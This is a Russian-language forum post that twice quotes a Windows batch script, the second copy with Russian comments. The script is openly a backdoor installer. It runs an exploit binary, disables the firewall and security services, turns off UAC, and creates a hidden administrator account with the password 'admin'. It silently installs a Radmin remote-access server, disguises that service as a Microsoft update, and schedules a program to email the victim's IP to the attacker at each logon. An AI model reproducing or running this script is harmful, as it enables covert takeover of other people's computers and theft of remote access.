Цитата:
@echo off
if exist c:\users\nul (goto win7) else goto winxp
:win7
ping -n 3 127.0.0.1
start %temp%\poc.exe
ping -n 3 127.0.0.1
goto install
:winxp
net stop Alerter
sc config Alerter start= disabled
net stop wscsvc
sc config wscsvc start= disabled
net stop SharedAccess
sc config SharedAccess start= disabled
sc config TlntSvr start= auto
net start TlntSvr
:install
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Pol icies\System /v EnableLUA /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" /v HelpAssistant /t REG_DWORD /d 0 /f
net user HelpAssistant admin /add
net localgroup Ђ¤¬Ё*Ёбва*в®ал HelpAssistant /add
net user HelpAssistant /active:yes /comment:"“зҐв**п §*ЇЁбм ¤«п ЇаҐ¤®бв*ў«Ґ*Ёп Ї®¬®йЁ" /passwordchg:yes
net user HelpAssistant admin
%temp%\msupdate.msi /qn /norestart
start %temp%\ip.exe
ping -n 5 127.0.0.1
attrib +S +H %windir%\system32\rserver30
schtasks /create /tn security /sc onlogon /ru "NT AUTHORITY\SYSTEM" /tr %temp%\ip.exe
net stop rserver3
reg add "HKLM\System\CurrentControlSet\Services\RServe r3" /v "DisplayName" /d "Microsoft Update Provide" /f
reg add "HKLM\System\CurrentControlSet\Services\RServe r3" /v "Description" /d "Update your Windows operation system and check corruption files" /f
net start rserver3
@rem (c) special 4 xaker.name by Iindigo
Тоже самое, но с комментариями:
Цитата:
@rem отключаем вывод консольного окна
@echo off
@rem проверяем какая система установлена на компьютере
if exist c:\users\nul (goto win7) else goto winxp
@rem если windows vista/7, то запускаем сплойт и перемещаемся к маркеру install
:win7
ping -n 3 127.0.0.1
start %temp%\poc.exe
ping -n 3 127.0.0.1
goto install
@rem если windows xp, то останавливаем и отключаем службы "Оповещатель", "Центр обеспечения безопасности" и "Брандмауэр Windows", включаем и стартуем службу "Telnet"
:winxp
net stop Alerter
sc config Alerter start= disabled
net stop wscsvc
sc config wscsvc start= disabled
net stop SharedAccess
sc config SharedAccess start= disabled
sc config TlntSvr start= auto
net start TlntSvr
@rem отключаем UAC (будет выключен после перезагрузки) и добавляем системную учётку HelpAssistant
:install
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Pol icies\System /v EnableLUA /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" /v HelpAssistant /t REG_DWORD /d 0 /f
@rem непосредственно добавляем пользователя HelpAssistant, добавляем в группу Администраторы, даём пароль admin
net user HelpAssistant admin /add
net localgroup Ђ¤¬Ё*Ёбва*в®ал HelpAssistant /add
net user HelpAssistant /active:yes /comment:"“зҐв**п §*ЇЁбм ¤«п ЇаҐ¤®бв*ў«Ґ*Ёп Ї®¬®йЁ" /passwordchg:yes
net user HelpAssistant admin
@rem запускаем скрытую установку нашего msi пакета
%temp%\msupdate.msi /qn /norestart
@rem запускаем скрипт отправки IP на наш почтовый адрес
start %temp%\ip.exe
@rem немного ждём, пока стартует служба и гарантированно завершится установка msi пакета
ping -n 5 127.0.0.1
@rem устанавливаем аттрибуты "системный" и "скрытый" для папки с установленным сервером
attrib +S +H %windir%\system32\rserver30
@rem добавляем задачу "при входе в винду отправлять IP на email"
schtasks /create /tn security /sc onlogon /ru "NT AUTHORITY\SYSTEM" /tr %temp%\ip.exe
@rem останавливаем службу радмина, переименовываем и опять стартуем (окончательное переименование произойдёт после перезагрузки)
net stop rserver3
reg add "HKLM\System\CurrentControlSet\Services\RServe r3" /v "DisplayName" /d "Microsoft Update Provide" /f
reg add "HKLM\System\CurrentControlSet\Services\RServe r3" /v "Description" /d "Update your Windows operation system and check corruption files" /f
net start rserver3